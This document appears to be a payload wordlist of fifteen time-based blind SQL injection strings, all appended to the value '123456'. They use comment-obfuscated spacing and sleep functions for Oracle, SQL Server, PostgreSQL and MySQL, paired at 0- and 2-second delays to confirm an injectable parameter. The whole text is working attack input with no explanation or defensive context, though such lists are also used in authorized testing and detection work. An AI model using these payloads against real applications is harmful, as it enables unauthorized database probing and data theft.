123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',2)='q
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',0)='n
123456'and(select+1)>0waitfor/**/delay'0:0:2
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('i',0)
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('k',2)
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='